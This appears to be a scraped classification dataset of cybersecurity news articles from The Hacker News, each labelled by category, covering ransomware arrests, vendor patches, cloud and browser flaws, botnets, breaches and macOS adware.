But now US federal court affidavit has revealed that two Romanian nationals were behind the attack that hacked into 70% of the computers that control Washington DC Metropolitan Police Department's surveillance camera network in January this year, CNN reports.
The two suspects—Mihai Alexandru Isvanca, 25, and Eveline Cismaru, 28—were arrested in Bucharest on December 15 on charges of conspiracy to commit wire fraud and various forms of computer fraud.
According to the criminal complaint unsealed in Washington, the pair hacked 123 of the Metropolitan Police Department's 187 outdoor surveillance cameras used to monitor public areas in D.C. by infecting computers with ransomware in an effort to extort money.
Ransomware is an infamous piece of malicious software that has been known for locking up computer files and then demanding a ransom (usually in Bitcoins) to help victims unlock their files.
The cyber attack occurred just days before the inauguration of President Donald Trump and lasted for almost four days, eventually leaving the CCTV cameras out of recording anything between 12 and 15 January 2017.
Instead of fulfilling ransom demands, the DC police department took the storage devices offline, removed the infection and rebooted the systems across the city, ensuring that the surveillance camera system was secure and fully operational.
"This case was of the highest priority due to its impact on the Secret Service's protective mission and its potential effect on the security plan for the 2017 Presidential Inauguration," the Justice Department said.
"The investigation revealed no evidence that any person's physical security was threatened or harmed due to the disruption of the MPD surveillance cameras."
The affidavit, dated December 11, mentions the defendants used two types of cryptocurrency ransomware variants—Cerber and Dharma. Other evidence also revealed a scheme to distribute ransomware by email to at least 179,000 email addresses.
"According to the complaint, further investigation showed that the two defendants, Isvanca and Cismaru, participated in the ransomware scheme using the compromised MPD surveillance camera computers, among others," the Justice Department said.
"The investigation also identified certain victims who had received the ransomware or whose servers had been accessed during the scheme."
However, it is still unclear whether the pair arrested was solely behind the attack or were part of a more comprehensive cybercriminal network.
While Isvanca remains in custody in Romania, Cismaru is under house arrest pending further legal proceedings, according to the Justice Department.
If extradited and convicted, the Romanian defendants could face a maximum of 20 years in prison.
| Cyber_Attack |
Adobe releases important security patches for its 4 popular software | https://thehackernews.com/2018/08/adobe-patch-updates.html | Adobe has released August 2018 security patch updates for a total of 11 vulnerabilities in its products, two of which are rated as critical that affect Adobe Acrobat and Reader software.
The vulnerabilities addressed in this month updates affect Adobe Flash Player, Creative Cloud Desktop Application, Adobe Experience Manager, Adobe Acrobat and Reader applications.
None of the security vulnerabilities patched this month were either publicly disclosed or found being actively exploited in the wild.
Adobe Acrobat and Reader (Windows and macOS)
Security researchers from Trend Micro's Zero Day Initiative and Cybellum Technologies have discovered and reported two critical arbitrary code execution vulnerabilities respectively in Acrobat DC and Acrobat Reader DC for Windows and macOS.
According to the Adobe advisory, the flaw (CVE-2018-12808) reported by Cybellum Technologies is an out-of-bounds write flaw, whereas the bug (CVE-2018-12799) reported by Zero Day Initiative is an untrusted pointer dereference vulnerability.
Adobe Flash Player (For Desktops and Browsers)
The latest version of Adobe Flash Player application, i.e., 30.0.0.154, patches a total of five vulnerabilities, including four important information disclosure bugs and one non-critical remote code execution issue.
The remote code execution bug is a privilege escalation issue reported by Kai Song from Tencent, which leads to arbitrary code execution, but has been considered "important" by the company.
All five vulnerabilities affect desktop runtime and Google Chrome versions of Flash Player for Windows, macOS, Linux, and Chrome OS.
Adobe Experience Manager (All Platforms)
The company has also released security patches for its enterprise content management solution, Adobe Experience Manager, to address two cross-site scripting (XSS) vulnerabilities and one input validation bypass flaw.
The XSS flaws could result in information disclosure, while the input validation bypass bug could allow an attacker to modify information.
All the three vulnerabilities have been rated as "moderate" in severity, and affect Experience Manager for all platforms, and users are advised to download the latest version from here as soon as possible.
Creative Cloud Desktop Application (Windows)
Adobe has also patched an important privilege escalation flaw (CVE-2018-5003) in the Creative Cloud Desktop Application installer for Windows.
The vulnerability, which has been patched in the latest version 4.5.5.342, originates from the insecure loading of libraries, leading to DLL hijacking attacks.
Adobe recommends end users and administrators to download and install the latest security patches as soon as possible.
| Vulnerability |
FBI — Botnets Infecting 18 Computers per Second. But How Many of Them NSA Holds? | https://thehackernews.com/2014/07/fbi-botnets-infecting-18-computers-per.html | Botnets - a secretly compromised networks of ordinary home and office computers with rogue software or "malware" that are controlled by an individual criminal or a group - has dramatically increased over the past several years and are considered to pose the biggest threat to the Internet.
Cyber criminals have brushed-up their hacking skills and are using Botnets as a cyber weapon to carry out multiple crimes like DDoS attacks (distributed denial of service), mass spamming, page rank and advertising revenue manipulation, mining bitcoins, cyber espionage and surveillance etc.
18 BOTNET INFECTIONS PER SECOND
According to the director of FBI's cyber division, Joseph Demarest, Botnet has become one of the biggest enemies of the Internet today, and therefore its impact has been significant. Yesterday during a hearing before a U.S. Senate committee, he says that every second 18 computers worldwide are part of botnet armies, which amounts to over 500 million compromised computers per year.
The network of compromised systems can do a drastic cyber crime activities without the knowledge of their computer's owner. Botnet allows its operator to steal personal and financial information, get into system owners' bank accounts, steal millions of credit cards, shut down websites, monitor your every keystroke and can even activate systems' cameras secretly which can take users' at great risk.
On Tuesday, a U.S. Senate committee assembled to discuss the progress of FBI agency's current and future anti-cyber crime strategy to disrupt Botnets, with agenda: "Taking Down Botnets: Public and Private Efforts to Disrupt and dismantle Cyber Criminal Networks."
BOTNET FETCHED MILLIONS OF DOLLARS
Joseph Demarest said the news is troubling as the botnets' high infection rate costs the US and global economies billions of dollars. Several successes "But our work is never done," noted the FBI chief.
"The use of botnets is on the rise. Industry experts estimate that botnet attacks have resulted in the overall loss of millions of dollars from financial institutions and other major US businesses," Demarest said.
"As you well know, we face cyber threats from state-sponsored hackers, hackers for hire, organized cyber syndicates, and terrorists. They seek our state secrets, our trade secrets, our technology, and our ideas—things of incredible value to all of us."
TWO FACES OF THE SAME GOVERNMENT - FBI & NSA
FBI trying to take down cyber criminals and putting its all effort to shut down botnet networks - which really sounds cool! But could you answer me that 'How NSA is conducting its wider spread mass surveillance program..??' Yes, of course, with the use of similar exploits and botnet malware. It was revealed few months ago from the Edward Snowden leaks that NSA is taking over entire networks of already-hacked machines (Botnets) and using them for their own purposes.
Also at the end of last year, Dutch newspaper NRC Handelsblad reported that the document leaked by Snowden also revealed that NSA had established an army of "sleeper cells" – malware-infected, remote-controllable computers – on 50,000 networks by the middle of 2012, which waits for months or longer before it activates by the agency and begins harvesting data.
So, when one side of U.S. government is trying every effort to shut down the widely spread botnet networks and at the same time, the other side of government is building up their weapons with the use of similar malwares and botnets, it is difficult to mitigate the problem and, this unbalanced situation of the Internet is the main cause of terror in the digital world.
Well, botnets, malware, viruses, worms and other cyber threats are really a big issue for all of us, and also these attacks become more sophisticated and wider when become money motivated.
We also appreciate U.S. government efforts to combat cyber crimes. A month ago, FBI and Europol also took down the GameOver Zeus botnet that have stolen more than $100 million from banks, businesses and consumers worldwide.
| Malware |
Microsoft Azure Flaws Could Have Let Hackers Take Over Cloud Servers | https://thehackernews.com/2020/01/microsoft-azure-vulnerabilities.html | Cybersecurity researchers at Check Point today disclosed details of two recently patched potentially dangerous vulnerabilities in Microsoft Azure services that, if exploited, could have allowed hackers to target several businesses that run their web and mobile apps on Azure.
Azure App Service is a fully-managed integrated service that enables users to create web and mobile apps for any platform or device, and easily integrate them with SaaS solutions, on-premises apps to automate business processes.
According to a report researchers shared with The Hacker News, the first security vulnerability (CVE-2019-1234) is a request spoofing issue that affected Azure Stack, a hybrid cloud computing software solution by Microsoft.
If exploited, the issue would have enabled a remote hacker to unauthorizedly access screenshots and sensitive information of any virtual machine running on Azure infrastructure—it doesn't matter if they're running on a shared, dedicated or isolated virtual machines.
According to researchers, this flaw is exploitable through Microsoft Azure Stack Portal, an interface where users can access clouds they have created using Azure Stack.
By leveraging an insure API, researchers found a way to get the virtual machine name and ID, hardware information like cores, total memory of targeted machines, and then used it with another unauthenticated HTTP request to grab screenshots, as shown.
Whereas, the second issue (CVE-2019-1372) is a remote code execution flaw that affected the Azure App Service on Azure Stack, which would have enabled a hacker to take complete control over the entire Azure server and consequently take control over an enterprises' business code.
What's more interesting is that an attacker can exploit both issues by creating a free user account with Azure Cloud and running malicious functions on it or sending unauthenticated HTTP requests to the Azure Stack user portal.
Check Point published a detailed technical post on the second flaw, but in brief, it resided in the way DWASSVC, a service responsible for managing and running tenants' apps and IIS worker processes, which actually run the tenant application, communicate with each other for defined tasks.
Since Azure Stack failed to check the length of a buffer before copying memory to it, an attacker could have exploited the issue by sending a specially crafted message to DWASSVC service, allowing it to execute malicious code on the server as the highest NT AUTHORITY/SYSTEM privilege.
"So how can an attacker send a message to DWASSVC (DWASInterop.dll)? By design, when running the C# Azure function, it runs in the context of the worker (w3wp.exe)," the researchers said.
"This lets an attacker the possibility to enumerate the currently opened handles. That way, he can find the already opened named pipe handle and send a specially crafted message."
Check Point researcher Ronen Shustin, who discovered both vulnerabilities, responsibly reported the issues to Microsoft last year, preventing hackers from causing severe damage and chaos.
After patching both issues late last year, the company awarded Shustin with 40,000 USD under its Azure bug bounty program.
| Vulnerability |
Polish Banks Hacked using Malware Planted on their own Government Site | https://thehackernews.com/2017/02/bank-hacking-malware.html | In what considered to be the largest system hack in the country's history and a massive attack on the financial sector, several banks in Poland have been infected with malware.
What's surprising? The source of the malware infection is their own financial regulator, the Polish Financial Supervision Authority (KNF) -- which, ironically, is meant to keep an eye out for the safety and security of financial systems in Poland.
During the past week, the security teams at several unnamed Polish banks discovered malicious executables on the workstations of several banks.
The KNF confirmed that their internal systems had been compromised by someone "from another country," although no specifications were provided.
After downloads of suspicious files that were infecting various banking systems had been discovered on the regulator's servers, the KNF decided to take down its entire system "in order to secure evidence."
Here's what happened:
An unknown attacker compromised the KNF's website for well over a week by modifying one of the site's JavaScript files, making visitors to the regulator's site load the malicious JavaScript file, which then downloaded the malicious payloads.
Once downloaded and executed, the malware connected to some foreign servers to perform various malicious tasks such as reconnaissance, data exfiltration, and post exploitation.
This particular malware appears to be a new strain of nasty software which has never seen before in live attacks and has a zero detection rate on VirusTotal.
In some cases, the attackers even managed to gain control over critical servers within the targeted bank's infrastructures.
Security blogger BadCyber spoke to several banks, and some 20 commercial banks across Poland have already confirmed being victims of a malware infection while other banks keep looking.
The affected banks discovered the encrypted executable files on several servers and unusual network traffic going to uncommon IP addresses situated in other foreign countries.
Both the KNF and the Polish government confirmed local Polish media that the investigation is ongoing and that there is no indication of people's money being affected in the attack and no operations were affected.
| Malware |
Air Canada Suffers Data Breach — 20,000 Mobile App Users Affected | https://thehackernews.com/2018/08/air-canada-data-breach.html | Air Canada has confirmed a data breach that may have affected about 20,000 customers of its 1.7 million mobile app users.
The company said it had "detected unusual log-in behavior" on its mobile app between August 22 and 24, during which the personal information for some of its customers "may potentially have been improperly accessed."
The exposed information contains basic information such as customers' names, email addresses, phone numbers, and other information they have added to their profiles.
Passport Numbers Exposed in Air Canada Data Breach
However, what's worrisome?
Hackers could have also accessed additional data including customer's passport number, passport expiration date, passport country of issuance and country of residence, Aeroplan number, known traveler number, NEXUS number, gender, date of birth, and nationality, if users had this information saved in their profile on the Air Canada mobile app.
The airline assured its customers that credit card information saved to their profile was "encrypted and stored in compliance with security standards set by the payment card industry or PCI standards," and therefore, are protected.
However, Air Canada still recommended affected customers to always monitor their credit card transactions and contact their financial services provider immediately if they found any unusual or unauthorized activity.
Reset Your Password
The company estimates about 1% of its 1.7 million people—or about 20,000 users in total—who use its mobile app may have been affected by the security breach.
Although currently, it is not clear how the data breach occurred, if it was a direct breach of Air Canada's systems, or if it was due to the reuse of passwords from other sites, the airline encourages users to reset their passwords using improved password guidelines, which says passwords should be at least 10 characters long and contain one symbol.
However, as a precaution, the airline has locked down all 1.7 million accounts until all of its customers—even those whose information was not exposed in the breach—change their passwords.
Air Canada has contacted potentially affected customers directly by email starting August 29 to tell them if their account has potentially been accessed by hackers improperly.
| Data_Breaches |
New malware found using Google Drive as its command-and-control server | https://thehackernews.com/2019/01/macro-malware-microsoft-office.html | Since most security tools also keep an eye on the network traffic to detect malicious IP addresses, attackers are increasingly adopting infrastructure of legitimate services in their attacks to hide their malicious activities.
Cybersecurity researchers have now spotted a new malware attack campaign linked to the notorious DarkHydrus APT group that uses Google Drive as its command-and-control (C2) server.
DarkHydrus first came to light in August last year when the APT group was leveraging the open-source Phishery tool to carry out credential-harvesting campaign against government entities and educational institutions in the Middle East.
The latest malicious campaign conducted by the DarkHydrus APT group was also observed against targets in the Middle East, according to reports published by the 360 Threat Intelligence Center (360TIC) and Palo Alto Networks.
This time the advanced threat attackers are using a new variant of their backdoor Trojan, called RogueRobin, which infects victims' computers by tricking them into opening a Microsoft Excel document containing embedded VBA macros, instead of exploiting any Windows zero-day vulnerability.
Enabling the macro drops a malicious text (.txt) file in the temporary directory and then leverages the legitimate 'regsvr32.exe' application to run it, eventually installing the RogueRobin backdoor written in C# programming language on the compromised system.
According to Palo Alto researchers, RogueRobin includes many stealth functions to check whether it is executed in the sandbox environment, including checking for virtualized environments, low memory, processor counts, and common analysis tools running on the system. It also contains anti-debug code.
Like the original version, the new variant of RogueRobin also uses DNS tunneling—a technique of sending or retrieving data and commands through DNS query packets—to communicate with its command-and-control server.
However, researchers discovered that besides DNS tunneling, the malware has also been designed to use Google Drive APIs as an alternative channel to send data and receive commands from the hackers.
"RogueRobin uploads a file to the Google Drive account and continually checks the file's modification time to see if the actor has made any changes to it. The actor will first modify the file to include a unique identifier that the Trojan will use for future communications," Palo Alto researchers say.
The new malware campaign suggests that the APT hacking groups are shifting more towards abusing legitimate services for their command-and-control infrastructure to evade detection.
It should be noted that since VBA macros is a legitimate feature, most antivirus solutions do not flag any warning or block MS Office documents with VBA code.
The best way to protect yourself from such malware attacks is always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless properly verifying the source.
| Malware |
Police Shut Down World's Biggest 'DDoS-for-Hire' Service–Admins Arrested | https://thehackernews.com/2018/04/ddos-for-hire-hacker.html | In a major hit against international cybercriminals, the Dutch police have taken down the world's biggest DDoS-for-hire service that helped cyber criminals launch over 4 million attacks and arrested its administrators.
An operation led by the UK's National Crime Agency (NCA) and the Dutch Police, dubbed "Power Off," with the support of Europol and a dozen other law enforcement agencies, resulted in the arrest of 6 members of the group behind the "webstresser.org" website in Scotland, Croatia, Canada and Serbia on Tuesday.
With over 136,000 registered users, Webstresser website lets its customers rent the service for about £10 to launch Distributed Denial of Service (DDoS) attacks against their targets with little or no technical knowledge.
"With webstresser.org, any registered user could pay a nominal fee using online payment systems or cryptocurrencies to rent out the use of stressers and booters," Europol said.
The service was also responsible for cyber attacks against seven of the UK's biggest banks in November last year, as well as government institutions and gaming industry.
"It's a growing problem, and one we take very seriously. Criminals are very good at collaborating, victimizing millions of users in a moment from anywhere in the world," said Steven Wilson, Head of Europol's European Cybercrime Centre (EC3).
The Webstresser site has now been shut down, and its infrastructure has been seized in the Netherlands, Germany, and the United States. The site has been replaced with a page announcing that law enforcement authorities had taken the service offline.
"As part of the operational activity, an address was identified and searched in Bradford and a number of items seized," NCA said.
Moreover, the authorities have also taken against the top users of this marketplace in the Netherlands, Italy, Spain, Croatia, the United Kingdom, Australia, Canada and Hong Kong, Europol announced.
The Dutch police said the Operation Power Off should send a clear warning to users of sites like webstresser.
"Don't do it," Gert Ras, head of the Dutch police's High Tech Crime unit, said. "By tracking down the DDoS service you use, we strip you of your anonymity, hand you a criminal record and put your victims in a position to claim back damages from you."
The police also reminded people that DDoSing is a crime, for which the "penalties can be severe." If you conduct a DDoS attack, or make, supply or obtain stresser or booter services, you could end up in prison, and fine or both.
| Cyber_Attack |
New Apache Struts RCE Flaw Lets Hackers Take Over Web Servers | https://thehackernews.com/2018/08/apache-struts-vulnerability.html | Semmle security researcher Man Yue Mo has disclosed a critical remote code execution vulnerability in the popular Apache Struts web application framework that could allow remote attackers to run malicious code on the affected servers.
Apache Struts is an open source framework for developing web applications in the Java programming language and is widely used by enterprises globally, including by 65 percent of the Fortune 100 companies, like Vodafone, Lockheed Martin, Virgin Atlantic, and the IRS.
The vulnerability (CVE-2018-11776) resides in the core of Apache Struts and originates because of insufficient validation of user-provided untrusted inputs in the core of the Struts framework under certain configurations.
The newly found Apache Struts exploit can be triggered just by visiting a specially crafted URL on the affected web server, allowing attackers to execute malicious code and eventually take complete control over the targeted server running the vulnerable application.
Struts2 Vulnerability - Are You Affected?
All applications that use Apache Struts—supported versions (Struts 2.3 to Struts 2.3.34, and Struts 2.5 to Struts 2.5.16) and even some unsupported Apache Struts versions—are potentially vulnerable to this flaw, even when no additional plugins have been enabled.
"This vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers," Yue Mo said.
Your Apache Struts implementation is vulnerable to the reported RCE flaw if it meets the following conditions:
The alwaysSelectFullNamespace flag is set to true in the Struts configuration.
Struts configuration file contains an "action" or "url" tag that does not specify the optional namespace attribute or specifies a wildcard namespace.
According to the researcher, even if an application is currently not vulnerable, "an inadvertent change to a Struts configuration file may render the application vulnerable in the future."
Here's Why You Should Take Apache Struts Exploit Seriously
Less than a year ago, credit rating agency Equifax exposed personal details of its 147 million consumers due to their failure of patching a similar Apache Struts flaw that was disclosed earlier that year (CVE-2017-5638).
The Equifax breach cost the company over $600 million in losses.
"Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit," said Pavel Avgustinov, Co-founder & VP of QL Engineering at Semmle.
"A hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system."
Patch Released for Critical Apache Struts Bug
Apache Struts has fixed the vulnerability with the release of Struts versions 2.3.35 and 2.5.17. Organizations and developers who use Apache Struts are urgently advised to upgrade their Struts components as soon as possible.
We have seen how previous disclosures of similar critical flaws in Apache Struts have resulted in PoC exploits being published within a day, and exploitation of the vulnerability in the wild, putting critical infrastructure as well as customers' data at risk.
Therefore, users and administrators are strongly advised to upgrade their Apache Struts components to the latest versions, even if they believe their configuration is not vulnerable right now.
This is not the first time the Semmle Security Research Team has reported a critical RCE flaw in Apache Struts. Less than a year ago, the team disclosed a similar remote code execution vulnerability (CVE-2017-9805) in Apache Struts.
UPDATE — Apache Struts RCE Exploit PoC Released
A security researcher has today released a PoC exploit for the newly discovered remote code execution (RCE) vulnerability (CVE-2018-11776) in Apache Struts web application framework.
| Cyber_Attack |
Anonymous Hacker Charged with CyberStalking Faces 440 Years in Jail | https://thehackernews.com/2014/05/Anonymous-Hacker-Charged-with-CyberStalking.html | An alleged member of the famous amorphous Hacktivist group Anonymous is now facing a total of 44 charges after the filing of the latest superseding Indictment of cyber assaults charges against him with the collective to hack Computer systems of a County Government, a school district and a Newspaper organization in Texas, federal investigators announced on Tuesday.
27-year-old Fidel Salinas of Donna, Texas, charged with several counts of cyber stalking, attempted computer hacking and with intent to harass and intimidate a female victim, making it altogether 44 counts of cyber assaults that could lead him up to 440 years in Jail.
Salinas intentionally tried to hack into the computer system of Hidalgo County practically two years earlier, for which he was charged with one count of violating the Computer Fraud and Abuse Act after a grand jury in the United States District Court for the Southern District of Texas found him guilty, last October.
It looked like, Salinas would only face a single count of charge, but charges against him continue to be filed. Earlier this month on April 2, a superseding indictment introduced 15 additional counts against him, but this week the FBI announced even more charges filed against him.
Salinas is also accused of cyberstalking a female victim at least 18 times in December 2011. "According to the allegations, between Dec. 23, 2011 and Dec. 29, 2011, Salinas had the intent to harass and intimidate a female victim. Allegedly, he repeatedly e-mailed her, attempted to gain unauthorized access to her website, made submissions through a contact form on that site and tried to open user accounts without her consent," the FBI said in Tuesday's statement.
Between 2011 and 2012, Salinas allegedly hacked into the Hidalgo County website after making more than 14,000 hacking attempts as a result to access its administration management page, causing it more than $10,000 in damages. He is also charged with hacking attempts against La Joya Independent School District and The Monitor newspaper organization.
FBI announced another 18 counts of cyber-linked assaults in its latest superseding indictment, making it altogether 44 counts of cyber assaults against the accused.
The US attorney, Kenneth Magidson, who announced the latest indictment (as shown above) under which Salinas faces 44 charges of cyber-attacks, announced the counts in detail including:
Counts one and two: attempting to breach the county, school district and newspaper sites;
Count three: conspiracy with others to use a computer "to cause emotional distress" to the female victim, identified only as 'Y.V.';
Count four: an attempted hack of Y.V's computer;
Counts five through 22: distress the victim multiple times over the internet on his own;
Counts 33 through 37: attempts to hack the woman's computer;
Counts 38 through 43: attempts to hack the three other sites between November 2011 and January 2012;
Count 44: cause damage to the Hidalgo County sight.
Each of the charges against him carries a maximum sentence of 10 years in federal prison. His attorney has denied that Salinas has any connection to Anonymous and argues the group is no more than a chat room in which anyone can enter and engage in online conversation.
| Cyber_Attack |
Firefox 67.0.4 Released — Mozilla Patches Second 0-Day Flaw This Week | https://thehackernews.com/2019/06/firefox-0day-vulnerability.html | Okay, folks, it's time to update your Firefox web browser once again—yes, for the second time this week.
After patching a critical actively-exploited vulnerability in Firefox 67.0.3 earlier this week, Mozilla is now warning millions of its users about a second zero-day vulnerability that attackers have been found exploiting in the wild.
The newly patched issue (CVE-2019-11708) is a "sandbox escape" vulnerability, which if chained together with the previously patched "type confusion" bug (CVE-2019-11707), allows a remote attacker to execute arbitrary code on victims' computers just by convincing them into visiting a malicious website.
Browser sandboxing is a security mechanism that keeps third-party processes isolated and confined to the browser, preventing them from damaging other sensitive parts of a computer's operating system.
"Insufficient vetting of parameters passed with the Prompt:Open IPC message between child and parent processes can result in the non-sandboxed parent process opening web content chosen by a compromised child process," the advisory explains.
Firefox 0-Days Found Exploited in the Wild
Mozilla has already been aware of the first issue since April when a Google Project Zero researcher reported it to the company, but it learned about the second issue and attacks in the wild just last week when attackers started exploiting both the flaws together to target employees from Coinbase platform and users of other cryptocurrency firms.
Just yesterday, macOS security expert Patrick Wardle also published a report revealing that a separate campaign against cryptocurrency users is also using same Firefox 0-days to install a macOS malware on targeted computers.
At this moment it's not clear if attackers independently discovered the first vulnerability just in time when it was already reported to Mozilla or gained classified bug-report information through another way.
Install Firefox Patches to Prevent Cyber Attacks
Anyway, the company has now released Firefox version 67.0.4 and Firefox ESR 60.7.2 that address both the issues, preventing attackers from remotely taking control over your systems.
Though Firefox installs latest available updates automatically, users are still advised to ensure they are running Firefox 67.0.4 or later.
Besides this, just like the patch for the previous issue, it is also expected that the Tor Project will once again release a new version of its privacy browser very soon to patch the second bug as well.
Important Update (21/06/2019) ➤ The Tor Project on Friday also released second update (Tor Browser 8.5.3) for its privacy web-browser this week that patches the second vulnerability Firefox patched yesterday.
| Malware |
New AdLoad Variant Bypasses Apple's Security Defenses to Target macOS Systems | https://thehackernews.com/2021/08/new-adload-variant-bypasses-apples.html | A new wave of attacks involving a notorious macOS adware family has evolved to leverage around 150 unique samples in the wild in 2021 alone, some of which have slipped past Apple's on-device malware scanner and even signed by its own notarization service, highlighting the malicious software ongoing attempts to adapt and evade detection.
"AdLoad," as the malware is known, is one of several widespread adware and bundleware loaders targeting macOS since at least 2017. It's capable of backdooring an affected system to download and install adware or potentially unwanted programs (PUPs), as well as amass and transmit information about victim machines.
The new iteration "continues to impact Mac users who rely solely on Apple's built-in security control XProtect for malware detection," SentinelOne threat researcher Phil Stokes said in an analysis published last week. "As of today, however, XProtect arguably has around 11 different signatures for AdLoad [but] the variant used in this new campaign is undetected by any of those rules."
The 2021 version of AdLoad latches on to persistence and executable names that use a different file extension pattern (.system or .service), enabling the malware to get around additional security protections incorporated by Apple, ultimately resulting in the installation of a persistence agent, which, in turn, triggers an attack chain to deploy malicious droppers that masquerade as a fake Player.app to install malware.
What's more, the droppers are signed with a valid signature using developer certificates, prompting Apple to revoke the certificates "within a matter of days (sometimes hours) of samples being observed on VirusTotal, offering some belated and temporary protection against further infections by those particular signed samples by means of Gatekeeper and OCSP signature checks," Stokes noted.
SentinelOne said it detected new samples signed with fresh certificates in a couple of hours and days, calling it a "game of whack-a-mole." First samples of AdLoad are said to have appeared as early as November 2020, with regular further occurrences across the first half of 2021, followed by a sharp uptick throughout July and, in particular, the early weeks of August 2021.
AdLoad is among the malware families, alongside Shlayer, that's been known to bypass XProtect and infect Macs with other malicious payloads. In April 2021, Apple addressed an actively exploited zero-day flaw in its Gatekeeper service (CVE-2021-30657) that was abused by the Shlayer operators to deploy unapproved software on the compromised systems.
"Malware on macOS is a problem that the device manufacturer is struggling to cope with," Stokes said. "The fact that hundreds of unique samples of a well-known adware variant have been circulating for at least 10 months and yet still remain undetected by Apple's built-in malware scanner demonstrates the necessity of adding further endpoint security controls to Mac devices."
| Malware |
Subsets and Splits